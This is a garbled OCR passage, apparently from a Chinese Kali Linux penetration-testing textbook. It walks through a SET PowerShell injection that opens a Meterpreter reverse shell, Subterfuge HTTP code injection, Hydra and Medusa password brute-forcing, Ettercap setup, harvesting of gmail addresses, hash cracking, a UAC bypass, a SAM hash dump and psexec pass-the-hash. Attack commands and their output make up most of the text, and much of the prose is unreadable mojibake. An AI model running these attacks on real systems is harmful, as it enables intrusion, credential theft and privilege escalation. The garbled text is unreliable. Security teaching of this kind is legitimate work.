[*¥] Encoded to bypass execution restriction policy...
[¥] If you want the powershell commands and attack, they are exported to
/root/ set/reports/powershell/
set> Do you want to start the listener now [yes/no]: : yes
#ERIAEKL
Unable to handle kernel NULL pointer dereference at virtual address Oxd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 8023784 esp: 8023760
ds: 0018 es: 0018 ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)
Stack: 90909090990909090990909090
90909090990909090990909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.09090900
90909090.90909090.09090900
CCCCCCCCCCCCCCCCCCCCCCCCet
CCCCCCCCCCCCCCCCCCCCCCCCCt
CCCCCCCCC. ..o
CCCCCCCCCCCCCCCCCCCCCCCCCe
CCCCCCCCCCCCCCCCCCCCCCCCCe
............................... CCCCCeeeo
CCCCCCCCCCCCCCCCCCCCCCCCCe
CCCCCCCCCCCCCCCCCCCCCCCCet

Code: 00 00 00 00 M3 T4 SP LO 1T FR 4M 3W OR K! V3 R5 10 N4 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing
Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit
=[ metasploit v4.9.3-2014070201 [core:4.9 api:1.0] ]
+ -- —=[ 1315 exploits - 716 auxiliary - 209 post ]
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+ ---—=[ 341 payloads - 35 encoders - 8 nops ]

+ -- -—=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing /root/ set/reports/powershell/powershell.rc for ERB directives.
resource (/root/.set/reports/powershell/powershell.rc)> use multi’/handler
resource (/root/ set/reports/powershell/powershell.rc)> set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp

resource (/root/ .set/reports/powershell/powershell.rc)> set Iport 443

Iport => 443

resource (/root/.set/reports/powershell/powershell.rc)> set LHOST 0.0.0.0
LHOST => 0.0.0.0

resource (/root/.set/reports/powershell/powershell.rc)> exploit -

[*¥] Exploit running as background job.

msf exploit(handler) >

[*] Started reverse handler on 0.0.0.0:443

[#] Starting the payload handler...

s BER T HWE FHMECEG L. N 22l 8 T B AT, SR H AR
BUFES: . PLEEE SERUE . B 23 £E /root/ set/reports/powershell/ H o F B | MEIEI
A AR SCfF e o — SO S, HSC 44 0 x86_powershell_injection. txt.,

(5) M I — A2 0, BFBEEGE NS, W TR

root@kali:~# cd /root/ set/reports/powershell/

root@kali:~/_set/reports/powershell# Is

powershell.rc x86_powershell_injection.txt

root@kali:~/.set/reports/powershell# cat x86_powershell_injection.txt

powershell -nop -windows hidden -noni -enc JAAXACAAPQAgACCAJABJACAAPQAgACCcAJWBb QBNAHMALAAGAEkAbgBOAFAAJABYACAABABWAFQ
AaAByAGUAYQBKAEKAZAApADsAWWBEAGWAbABJAGOACABVAHIAJAACACIAbQBzAHYAYw
ByAHQALgBkAGwWAbAAIACKAXQBWA

PL FAF B /2 x86 powershell injection.txt SCAFHR TN 2. MEE—AT 0T LA H, 1% 4
JEIZ1T powershell fir 4o WIS Hbx EHUISATIXBACH, $5 255 Kalil BHLETIT—MERFE L.

(6) LI, T LLKS x86 powershell injection.txt A4 1) P 22 52 4l 2| H A7 41 (Windows
7) I DOS F, #RJGIEAT. Kali EHUHF 2 SR W R IR 5 e

[*] Sending stage (769536 bytes) to 192.168.6.106

[*] Meterpreter session 1 opened (192.168.6.103:443 -> 192.168.6.106:51097) at 2014-07-18
15:36:00 +0800

M AE S, AT LA BRI T T -/~ Meterpreter 23 .
(7) JHsh s 1, 4T A~ E e Shell. $HAT AT 2 W R PR

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
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meterpreter > shell

Process 636 created.

Channel 1 created.

Microsoft Windows [[7% 6.1.7601]

OO00O0O008 () 2009 Microsoft CorpeorationC1 0000000003
C:\Users\Administrator>

M S B, o] UG 28I SR EL E] — /Mg FE Shell.

Q8 Aol b 4F P, it 544054 5 X34 PowerShell SUA £ E4 T B 4%, ik
A6 R IRIEAZ Shell. {22 EIRFA T, XARTHA. ATk, &EF6) 4
PowerShell LA I AF4538 o5 7] AT 49 exe LA R G4 22 A bat, B P 47T vA 13 R
W EEH P AL Vel 25, HI4E4)2 bat LI,

744 Bz ABE IR Subterfuge

Subterfuge /&2l Python 51t A A\ JCalHESE, " 4EHk T RIS, IR T
e A Pra] R ) N 1% 4 TR . B E)IZ 4T Subterfuge 75 % Django Hl scapy SRR
. 7E Subterfuge %5 {1 (1) dependencies H =% I, $21it | Subterfuge /i 7 [1') Python ftk .
AN 4 Subterfuge T H ) 2357148 H .

[SE5] 7-41  224% Subterfuge T H . BAREAELDIERA AR,

(1) | http://code.google.com/p/subterfuge/downloads/list ¥ i | 2% Subterfuge X {44,
FB 40 44 4 subterfuge packages.tar.gz.

(2) fif# 147 Subterfuge ¥ AT AL AT AU FFT7R:

root@kali:~# tar zxvf subterfuge_packages.tar.gz

(3) %%% Subterfuge B4, AT A W FIR:

root@kali:~# cd subterfuge/
root@kali:~/subterfuge# python install_py

PATLL Ftir & Jets SR Wi 7.21 Pros (i) 7t

Subterfuge Installer L@«Juyujw'

Installation Optionsis ,q" e

- Simple Install

" Full Install With Depencencies | |

P 7.21 2% Subterfuge 51Ai
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(4) TEi%FHHIEFE Full Install With Depencencies ZE50, Jf 515 Install 48] . 2358 1L
Ja. ¥ RinrE 7.22 B St .

r

SL L;w. | O | X

The setup is
complete. Thank

you for installing
Subterfuge.

Finish

@® Full Install With Depencencles ' Simple Install

Install => @

P 722 HEIR

(5) Mz Ft el LA B3 AN/ TEHE, TR Subterfuge 424658 Al . MY, 817 Finish
FeHILR 1T LA SE R o

(52451 751 4J7] Subterfuge TH. FURBEL IR FHix.

(1) fi%) Suberfuge TH. #0474 FHim:

root@kali:~# subterfuge

PATUA B Ja, FEamm TR ifE .

Subterfuge courtesy of r00t0v3rr1d3 & Osm0s1z
Validating models...

0 errors found

Django version 1.3.1, using settings 'subterfuge.settings'
Development server is running at http://127.0.0.1:80/
Quit the server with CONTROL-C.

(2) FTIFE 2%, Jf4 N 127.0.0.1:80 i/ 1] Subterfuge [ 1 Ft, WIE 7.23 fin.

Subterfuge - Iceweasel D_;__Lx_
File Edit View History Bookmarks Tools Help
% Subterfuge Hil
[@127.001 ~ @] [ v coogle a 4
[ Most Visitedv  Jll Offensive Security % Kali Linux “% Kali Docs EMExploit-DB Wy Aircrack-ng

csuUBTeRruece Modules - Settings - gtﬂrt'

K . ¥ T ey .-
Source Username Password Date 3

€ 723 Subterfuge - 51
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(3) MizFmr]LLE | o T — Modules #l Settings 325, Jf HibA7—> Start $%%H
L Subterfuge 5[] Modules 3258 |, 0] LLEFE BTS2 (LA A R BL U b A Xeds . A
Settings >z H., 1] L& 14 Subterfuge — 44T 5, JF HA ) Ui . T i f# H HTTP Code Injection

R, SCHL A8 U

[3245] 7-6) i/ {# H] Subterfuge () HTTP Code Injection B Uil W sk, HydH:

SRR A .

(1) 71 7.23 v, Hids Modules S, ¥ SR & 7.24 Frs i 5L .

=9
{ \\
Network View Credential

Harvester

Suhterfuqe Module Tunnel Block
Builder
m | j
Denial of Service HTTP Code
Injection

— Plugin Settings
Welcome to the Subterfuge Plugin Menu, This sectio
to control which plugins are running and customize yol

i
vectors. (Note multiple plugins may be run simultaneol i

& 7.24

Jir AT Bk p R

(2) {EiZS % +$E HTTP Code Injection fEe, 4 5 ortnE 7.25 Frms it AL .

Subterfuge - Iceweasel ;E“
File Edit View History Bookmarks Tools Help
I “ Subterfuge I[;}
‘ [@ 127.0.0.1/plugins/#httpcodeinjection ~ g [ ¥ Google 'Q] @ m

B Mest Visitedv [l Offensive Security % Kali Linux "% Kali Docs ﬂExmethB \A\r(ra(kfﬂg

Y
! A
Network View Credential

Harvester

7 ™

Subterfu%e Module Tunnel Block
Builder

[

Denial of Service HTITP Code
Injection
Session Hijackin; Evilgrade Update
d il ngplultat on

— Flugin Settings

Subterfuge's HTTP Code Injecton Madule allows a user to inje}
paylcads directly into a target's browsing session. Payloads c{

Running: K

browser_autopwn -

Wector:

Custom Inject

Payload:  IFrame Injection j

be anything from simple [avascriptHTML injections to browser
expleits. You even write your own injects. )
-]

P 725 % HTTP Code Injection Fibi

(3) {EiZ S ¥ & HTTP Code Injection ALER (P45 Ko XA EGA RS, JFedy
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Apply ¥24l, Rzl 7.26 Fronit) i
(4) %5t /2 Subterfuge H 304 HH—> Shell & 11, #4517k Metasploit {£i% A iy
Wi, i 7.27 FioR.

B 7.26 7k Metasploit HE A Bl 7.27  hngkiEiE st

(5) Mzl LR B T oF 2 MSE M dis, adsca, K@i 7.28 fros
) 718

p on port

Kl 7.28 BN TE K

(6) MIAZ St v LLF 245 — 4% Done found 18 exploit modules {5 £, 7~ Subterfuge %
BT 18 AMBaEdchibE . AN P ER: Kall I, SR b . SR
HLU5iH) Kali [[f] Subterfuge IM, $§2% H 2l )3 2l NS 17238 B 3] B AR AL 3 W B ik
I, Kali 548 ¥ @on i 7.29 Frosif FU .

ability

Pl 7.29 iy in] Yok B
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(7) BLE SRS B Hbr L 192.168.6.113 1l T Bl BAHLH Subterfuge. BT
A LLE BT 2 1E, W 7.30 Brxs.

Pl 730 FITFFIST

(8) MizFtmal LIER], RIWIHTIT T = A aihe BIAEal LU SRR P 2xih, JHT
JF H b REE0 Shell, W& 7.31 fis.

g 7.31 Shell %1

(9) MiZFHHTRT AR B RIERR] T PN EFE il



LS
v

E8E F W&

M Bk g 2 AEAFE AN T, WIS B I 2 AT i85 N
*AE%%ﬁ WRAE R —ABIENRAN R AT SRS, HEEES. BT
AT AT A s AT I B BE ) B T A AR B ALLT-AT R i O i A B il &R 52 15 )
BUBR (W ECH ik e ARG B i o ik, Ws e 8By o 2% th 35 S5 05 Mo f0
B s A T A

8.1 5[ & AR

TR P REIIE B Hbr R4, LAl S5 — M EMAZ Y. 76 Kali 1, 7E&
b A B THRAR S, Horh i B B 3K ) 2 Hydra Il Medusa. A< 7R/ 2444 H] Hydra
A1 Medusa -5 S5 7R 2 i i -

811 Hydra TR

Hydra J2&—/MH 258 K 2 ) SR TR . 1% T H SRR JLF B Vsl 70 2 55 5 il

fﬂzf-' U1 FTP. HTTP. HTTPS. MySQL. MS SQL. Oracle. Cisco. IMAP Fl VNC 2. H
TWIRE W, OCHAE T MU A LSRN IR Z A Al AEXS Hydra EERRBAGE, DA 1%
THATEGE M, HEAETor e, A Balbl “UR” #4E. T2 H Hydra

MR ALY

i1 Hydra | FUIGAR (R 2R %00 JUARERAE P3N s,

(1) JA3h Hydra %ibi. 7F Kali SAHKER “ N Kali Linux| “# 055047 |
ARG |hydra-gtk A4, A5 RN 8.1 Py At .

(2) HFEH T RE b RGERH L, s DAPREE . RS AR BTG R,
4 Output Options HE£-P ) Show Attempts B BEHES) F. 7E1% M 15 Passwords £+, ¥
WP 8.2 Ao i) S -

(3) R FHHR R H - A4 FE SR SCPE . A AT Kali RGEHAFAERI P 40 RV
A A, JFIE4FE Loop around wusers JETH . Morfr, JH & 44 FVEE 6D SO o3 AR A7 7R
/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/names/nameslist.txt l/usr/share/wfuzz/
wordlist/fuzzdb/wordlists-user-passwd/passwds/john. txt H .

(4) BEIF TG, Fodi Tuning SEIAR, KR WIE 8.3 Py St .

(5) FEIZSHHBE EAT 45 (0 G S5 FEB I ] o W RSB ATAT 5 N2 (008, R4 1) R %
W R B LB SO ISR BRI BT 45 % 5 16 18050 2, BRI MBS 15, SRIGHF Exit
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after first found pair [ & IEHE) |, FRRHH S — 6 DCHCIR A W4 1 Bt

= =rer o —re
BH(Q) (@)

Target {FumwdslTuﬁng]Srdﬁ:]Sm' ‘I'arg_ut Passwords Tuning Sm‘ﬁt Start |

Target: Username

O Username

:v.rd.'names.'namelist‘m

¥ Loop around users

192.168.41.142

O Prefer IPV6
FE
s []

@® Single Target

O Target List @® Username List

P .
Password

O Password yourpass

Protocol

@® Password List sswd/passwds/john. txt

~Output Options

Colon separated file

[ Use sSL [ Be Verbose

[] Use Colon separated file

L ]

 Show Attempts

[ Debug

[ Try login as password Try empty password

hydra -V -L c -P fusr/share/wfuzz/wordlist/fuzzdb/wordlists-user-pass... hydra -L fusr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/nam...

K&l Jaahitm K82 fiE®gT

(6) DLEREEH A, Pii$) Start IR BEATZCE, WK 8.4 Fis.
[ [a ]

xHydra
Bi(Q)
Target I Passwords | Tuning ‘s?:aﬁc ‘ Stnrtl

Performance Options

Number of Tasks

[
s [

Timeout

) [Exit after first found pair

‘Use a HTTP/HTTPS Proxy

@® No Proxy O HTTP Methed O CONNECT Method

Proxy http://127.0.0.1:8080

[J Proxy needs authentication

xHydra
it (@)

Target ] ‘Puswcrds 1 Tuning 1 Specific ' Start !
‘Dutput

P
lSave Output] [Clear Output

hydra -L c -P /usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd...

hydra -V -L fusr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/...

K83 EARE

K 8.4 Tk At

(7) fEiZFHE s TVUAMEHL, SRR BN ik (RIS RS . IX LR
Start f&HUT 42T, BOHLLEE QP 8.5 Aram.
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xHydra QQ:&
B@)
Target  Passwords iTuning ‘Spe(iﬁ: Start
-Output i
Hydra v7.6 (€)2013 by van Hauser/THC & David Macisjak - for legal purposes enly

Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-08 17:19:09

[DATA] 2 tasks, 1 server, 5926956 Login tries (:1907/p:3108), - 2963478 tries per task
[DATA] attacking service mysql on port 3306

[ATTEMPT] target 192.168.41.142 - login "0" - pass "" - 1 of 5926956 [child O]
[ATTEMPT] target 192.168.41.142 - login "0" - pass "12345" - 2 of 5926956 [child 1]
[ATTEMPT] target 192.168.41.142 - login "root” - pass "12345" - 2 of 5931972 [child 1]
[ATTEMPT] target 192.168.41.142 - login "root” - pass "abc123" - 3 of 5931972 [child 1]

[3306][mysql] host: 192.168.41.142 login: root password:

[<Finished>
T T —
Start Stop Save Output Clear Output

hydra -V -L fusr/sharefwfuzz/wordlist/fuzzdb/wordlists-user-passwd/names/namelist.txt -... i

P85 Midfe

(8) xHydra IR B K A A SO 4 A, BEATICAC. 3BTRS A
PRI, Mg ks, sl 8.5 R

8.1.2 Medusa TH

Medusa T H 2 il id JA47 8 5 2 S 00 vk, 22 Ak B P2 56 Uk I 251 1n) AP &
Medusa SENZLGIE B fE RS, Wl AFP, FTP, HTTP, IMAP, MS SQL. NetWare, NNTP,
PcAnyWhere, POP3., REXEC. RLOGIN. SMTPAUTH. SNMP. SSHv2. Telnet, VNC
Fl Web Form 25, R[4 /2448 ) Medusa T FLJ U Hh 28 110 177 ) B o

JA &) Medusa 1L Ho {220 H #1217 medusa @74, U1 FoR:

root@kali:~# medusa

B AR SR _E AR SR TR [Kali Linux| “ B EE " | “7ELIGE " [medusa
i, R F R R R

Medusa v2.0 [hitp://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
medusa: option requires an argument -- 'h’
CRITICAL: Unknown error processing command-line options.
ALERT: Host information must be supplied.
Syntax: Medusa [-h host|-H file] [-u username|-U file] [-p password|-P file] [-C file] -M module
[OPT]

-h [TEXT] :Target hostname or |IP address

-H [FILE] : File containing target hostnames or IP addresses

-u [TEXT] :Username to test

-U [FILE] - File containing usernames to test

-p [TEXT] : Password to test

-P [FILE] : File containing passwords to test

-C [FILE] : File containing combo entries. See README for more information.

-0 [FILE] : File to append log information to
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-e [n/s/ns]  : Additional password checks ([n] No Password, [s] Password = Username)

-M [TEXT] : Name of the module to execute (without the .mod extension)

-m [TEXT] : Parameter to pass to the module. This can be passed multiple times with a
different parameter each time and they will all be sent to the module (i.e.
-m Param1 -m Param2, etc.)

-d : Dump all known modules

-n [NUM] : Use for non-default TCP port number

-s : Enable SSL

-g [NUM] : Give up after trying to connect for NUM seconds (default 3)

-r [NUM] : Sleep NUM seconds between retry attempts (default 3)

-R [NUM] : Attempt NUM retries before giving up. The total number of attempts will be

NUM + 1.

-t [NUM] : Total number of logins to be tested concurrently

-T [NUM] : Total number of hosts to be tested concurrently

-L : Parallelize logins using one username per thread. The default is to process
the entire username before proceeding.

-f : Stop scanning host after first valid username/password found.

-F : Stop audit after first valid username/password found on any host.

-b : Suppress startup banner

- - Display module’s usage information

-v [NUM] : Verbose level [0 - 6 (more)]

-w [NUM] : Error debug level [0 - 10 (more)]

-V : Display version

-Z [TEXT] . Resume scan based on map of previous scan

P E gt 045 B 7R T medusa 2 (KA IAE B, f4E meduas diy & [1iHE. ALY

R Z . H el LR B QR #5 %, EFAT N IR TSR b 25 (07 B . Rl

AT RiEt 2

[ 8-11 {f/f] medusa % i thhk Jy 192.168.5.1 [k ihi e, AT AW FHTR:

root@kali:~# medusa -h 192.168.5.1 -u admin -P /usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-
passwd/passwds/john.txt -M http -e ns 80 -F

Medusa v2.0 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete)

Password:

(1 of 3109 complete)

ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete)
Password: admin (2 of 3109 complete)

ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete)
Password: 12345 (3 of 3109 complete)

ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete)
Password: abc123 (4 of 3109 complete)

ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete)
Password: password (5 of 3109 complete)

ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete)
Password: computer (6 of 3109 complete)

ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete)
Password: 123456 (7 of 3109 complete)

ACCOUNT CHECK: [http] Host: 192.168.5.1 (1 of 1, 0 complete) User: admin (1 of 1, 0 complete)
Password: huolong5 (8 of 3109 complete)

ACCOUNT FOUND: [http] Host: 192.168.5.1 User: admin Password: daxueba [SUCCESS]

uimﬁWEﬁEWﬁ%$#mﬁW*tho*%%ﬁﬁﬁmmmH%ﬂﬂﬁ%%
admin. {HASEE, Mo dt iz . iU g e i 7 L johnxt, T i%
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BOUPIER A BEAT B e . MBS —1T
JIJj\j admin fl daxueba.

W ROfE R, WLV B SR P A R S oy

=
208
ha)
4B

82 4

TESCHVE MR 2 BT, A2 — T g st . s e i B R, i A A FR R 58
PO h WA ORI DB EM 7. AT A Ettercap T L ol
MSFCONSOLE k7347 %1

8.2.1 Ettercap TR

Ettercap /&t Linux M58 A 1980 L, tHiG AT Windows. HI)J'REWS{E ] Ettercap
TR R R A Oh R (R, S S D 5 3 P s 3 S R & R O I, 48 i 4 21
—ANAHL G 5. R A4 Ettercap T R A .

f§ ] Ettercap 73 #7% A5 i B AR A0 TR W1 F s .

(1) [T Ettercap [l & X ff etter.conf, 775011 locate iy % 4% F| Ettercap Fl'E
ORI E . AT AT s

root@kali:~# locate etter.conf
/etc/ettercap/etter.conf
/usr/share/man/man5/etter.conf.5.gz

ML _E 4 A S, AT LLFE 3 Ettercap AL ¥ WA etter.conf {47 7L /etc/ettercap/ .

(2) J1] VIM % etter.conf [ & SCF. K5 iz CfFH ec uid Al ec gid FLE TEE TN
0, Ji#% Linux 75 Bt IPTABLES A7 ({8 L. B0 R W K FR:

root@kali:~# vi /etc/ettercap/etter.conf

[privs]

ec_uid=0 # nobody is the default
ec_gd=0 # nobody is the default
. S

# Linux

. S

# if you use iptables:

redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -
REDIRECT --to-port %rport"

redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -
REDIRECT --to-port %rport"

(3) Ji3)) Ettercap. fiiH] Ettercap it % [1)-G L1, Joa8)EJEF M $AT a2 T Irs:
root@kali:~# ettercap -G

PATLL Edr A ha, Kb pE 8.6 Fras i At .

(4) @A E AR A, WEARRS RS EEG . Ei i eeE 5ok
A RER L 8 . X T 1] Ettercap SEBLHh B AT, 7E58 7 SO HEAIA4, X HA
PEE .
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ettercap 0.8.0 Lls-ninlut‘,H

File Sniff Options 7?7

¥ 8.6 Ettercap ¥4 5 i

8.2.2 {#F MSFCONSOLE ##f%%g

1 ] Metasploit MSFCONSOLE [] search email collector £ L4735 i1, 1 ol 12 b n]
PLAEAE — N SIS PSS . XL iR AE BB T @A P it . BARERAE DR
b b R

(1) {fi/fl MSFCONSOLE. {74 FinR:

root@kali:~# msfconsole
msf >

(2) i) search email collector #H:, AT ATS W iTow:

msf > search email collector
[] Database not connected or cache not built, using slow search
Matching Modules

Name Disclosure Date Rank Description

auxiliary/gather/search_email_collector normal Search Engine Domain Email Address Collector
msf >

WATEL Edr 2 e, R PE R UL RS, #iFE R /L search _email collector
B,
(3) {fi 714l BB search email collector. 447wy 4 Ul FTw:

msf > use auxiliary/gather/search_email_collector
msf auxiliary(search_email_collector) >

i E B R, O3] search email collector fHE,
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(4) T4 search email collector Bl FATALHYIEI . AT A2 W B Fis:

msf auxiliary(search_email_collector) > show options
Module options (auxiliary/gather/search_email_collector):

Name Current Setting Required Description

DOMAIN yes The domain name to locate email addresses for
OUTFILE no A filename to store the generated email list
SEARCH_BING true yes Enable Bing as a backend search engine
SEARCH_GOOGLE true yes Enable Google as a backend search engine
SEARCH_YAHOO  true yes Enable Yahoo! as a backend search engine

B th (945 WL 7 T search_email_collector FRBR - AT R AC B 1L, MAEH]™ H I
o0 TN A L 14 16 2
(5) "FIfiJr #IfC # DOMAIN fl OUTFILE &5, 41 FFiR:

msf auxiliary(search_email_collector) > set DOMAIN gmail.com

domain => gmail.com

msf auxiliary(search_email_collector) > set outfile /root/Desktop/fromwillie_txt
outfile => /root/Desktop/fromwillie.txt

(6) RishiBiEsdi. YT % F R

msf auxiliary(search_email_collector) > run
[¥] Harvesting emails .....

[*] Searching Google for email addresses from gmail.com
[*] Extracting emails from Google search resulis...

[*] Searching Bing email addresses from gmail.com

[*] Extracting emails from Bing search results...

[#¥] Searching Yahoo for email addresses from gmail.com
[¥*] rasvin.247@gmail.com

[¥] read.jeff@gmail.com

[¥] restore.adore@gmail.com

[¥] rhetoricguy@gmail.com

[¥] sammy@gmail.com

[¥] signaturetitleservices@gmail.com

[¥] smplustb@gmail.com

[¥] starfyi@gmail.com

[¥] taylorhansson@gmail.com

[¥] thanhtam.hr@gmail.com

[¥] theidleague@gmail.com

[¥] tjarkse@gmail.com

[¥] toni@gmail.com

[¥] user@gmail.com

[*] vintageheadboards@gmail.com

[¥] vlyubish270@gmail.com

[¥] webuyrarebooks@gmail.com

[*] yavmamemogames@gmail.com

[*] yoyonorfcack@gmail.com

[*] Writing email address list to /root/Desktop/fromwillie. txt...
[*] Auxiliary module execution completed

g A5 VS TR AT gmailem [FHEFEHUHE, F FUEE AT (S BV A7 7E fromwillie txt

- 247 -



W3R A RhEENLL

SO R P AT DO AR S B IR R P R, e D .
8.2.3 MZ#FH{EiIRFI I A Hash Identifier

N 75 (L e i HASH 53008 1o 32 4z 5015 21 1 B0 (e AS[R] P P9 25648 F HASH 509502 5
Jii» BRI A (EAN A . R IR 4348 H Hash Identifier |” HARSIWE 75 (8 A9 s 3.

(1) Fi7) hash-identifier #y4. 7&EJEF MK IGER: “ NHIFLT” [Kali Linux| “% 5 1
i ” | “ AU [hash-identifier fiv$, R 7R W R B If5 B

# . #

# AWV AN A VAN #

#1\ W - R A VAV WA #
2 W L S A S A U WA AW #
#OVVWLLA L N VA AN #

# 0OV VW 7 VN A\ W/ #
# VNN NN |/ VN V N V1A #
# By Zion3R #

# www.Blackploit.com #

# Root@Blackploit.com #

HASH:

Mo B45 S 2 HASHARZRTT, s ith#TJF 1 hash-identifier -3 2% b -
Meit, Bt LM NS s 7516 .

(2) Hifi 6bcec2ba2597f089189735afeaa300d4 5 A . AT Ay 2l F 7.

HASH: 6bcec2ba2597f089189735afeaa300d4

Possible Hashs:

[¥] MD5

[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))

Least Possible Hashs:

[+] RAdmin v2.x

[+] NTLM

[+] MDA4

[¥] MD2

[+] MD5(HMAC)

[+] MD4(HMAC)

M E T, wTLLF 3] 6beec2ba2597f089189735afeaa300d4 1475 {H Al BE 42 f#
MDS5 fi% (1] .

8.3 #&f% LM Hashes 55 4%

LM (LAN Manager) Hash 2 Windows #{F RGPS A8k —. 7
Windows 2000, XP. Vista fll Windows 7 J4f ] 7 26k NTLMvV2 2§/, 3% 2ME—n]
PIRRAS . IS M ERE RS AR DISCHRT ] LM i, (H B 20E 0 TR m S e sk,
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ARLAT Windows Vista Fl Windows 7 1, i FILERA A HI o AR A 2 i i LM
Hashes % ).

7t Kali Linux '}, v LI ] findmyhash T H{l%fi# LM Hashes #f%. )1, findmyhash
i1 IR U R P

findmyhash <Encryption> -h hash

PL EiBiEd, &k R R .
QO Encryption: #57E 1 105 A5 #2570 .
-he T E SR LM S A
[ 82 {fH findmyhash 4> ¥ :li LM Hashes %69, HATam4 W H ioxs:

root@kali:~# findmyhash MD5 -h 5f4dcc3b5aa765d61d8327deb882cf99
Cracking hash: 5f4dcc3b5aa765d61d8327deb882cf99
Analyzing with md5hood (http://md5hood.com)...

-. hash not found in md5hood

Analyzing with stringfunction (http://www stringfunction.com)...
.. hash not found in stringfunction

Analyzing with 99k.org (http://xanadrel 99k org)...

.. hash not found in 99k.org

Analyzing with sans (http://isc.sans.edu)...

-. hash not found in sans

Analyzing with bokehman (http://bokehman.com)...

-. hash not found in bokehman

Analyzing with goog.li (http://goog.li)...

.. hash not found in goog.li

Analyzing with schwett (http://schwett.com)...

.. hash not found in schwett

Analyzing with netmdScrack (http://www.netmdScrack.com)...
-. hash not found in netmdScrack

Analyzing with md5-cracker (http://www.mdS-cracker tk)...

.. hash not found in md5-cracker

Analyzing with benramsey (http://tools.benramsey.com)...

.. hash not found in benramsey

Analyzing with gromweb (http://md5.gromweb.com)...

wxkik HASH CRACKEDII s

The original string is: password

The following hashes were cracked:

Sf4dcc3b5aa765d61d8327deb882cf99 -> password

DL i s B2 Xt LM Hashes 2544 EI/J IR Rl — B, e SR Al
5f4dcc3b5aa765d61d8327deb882cf09 (1] )5 f ¥ ith J& password.

RSN LM Hashes K8 0015, Tuﬁ_fﬁ Metasploit i) psexec #iHi%¢1] Hash
. BHEA 210 H psexec #ERSE L Hash (B[ V4 -

(1) @A BbrEHL (Windows 7) _Bis4T Veil G 1] 14T 3/ backup.exe, FI)
IR —ATE PR R e U, W B R

[*] Started reverse handler on 192.168.6.103:4444

[*] Starting the payload handler...

[*] Sending stage (769536 bytes) to 192.168.6.106

[*] Meterpreter session 1 opened (192.168.6.103:4444 -> 192.168.6.106:49160) at 2014-07-22
15:29:55 +0800

ML LA B, nTRVE BIRRENITIT T 218 1.
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LRIy

P28

(2) EEMPBIRER . T FETR:

meterpreter > getuid
Server username: WIN-RKPKQFBLG6C\lyw

Mot s b, T LR N2 P AR 2 — NS E AR . $2F ok, fiH] bypassuac
ik UAC.

(3) BLA lyw )88 UAC. 0T ar& i R s

meterpreter > background

[*] Backgrounding session 1...

msf exploit(handler) > use exploit/windows/local/bypassuac
msf exploit(bypassuac) > set session 1

session => 1

msf exploit(bypassuac) > exploit

[*] Started reverse handler on 192.168.6.103:4444
[¥] UAC is Enabled, checking level...

[+] UAC is set to Default

[+] BypassUAC can bypass this setting, continuing...
[+] Part of Administrators group! Continuing...

[*] Uploaded the agent to the filesystem....

[*] Uploading the bypass UAC executable to the filesystem...

[*] Meterpreter stager executable 73802 bytes long being uploaded..

[*¥] Sending stage (769536 bytes) to 192.168.6.106

[*] Meterpreter session 3 opened (192.168.6.103:4444 > 192.168.6.106:49160) at 2014-07-22
15:34:38 +0800

meterpreter > getsystem

...got system (via technique 1).

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

M AE S, eI LA BRI lyw H P B E245 24 SYSTEM.
(4) A HAs LV ERTA F P s 75 36040 Barar 2 Frs:

meterpreter > run post/windows/gather’hashdump
[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY 45fa5958a01cf2b66b73daa174b19dae...

[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hints...

Test:"123"

[*] Dumping password hashes...
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c089c
0::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c089c0:::
Test:1001:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:daf26fce5b47e01aae0f919f529
926e3:::
lyw:1003:aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4:::
alice:1004:aad3b435b51404eeaad3b435b51404ee:22315d6ed1a7d5f8ar7c98c40eYfa2dec:::

M#HU&E’HEE‘-P Al LG B4R 2] 5N G 7 B8 AR . HBINF, o] BT ] SMB psexec
it Hash {H .
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(5) JaBIEITaE 2. ATar W FRTR:

meterpreter > background
[*] Backgrounding session 2...

(6) 141/} SMB psexec FBR, It B d L WAC EILM S H. AT W FPR:

msf exploit(bypassuac) > use exploit/windows/smb/psexec

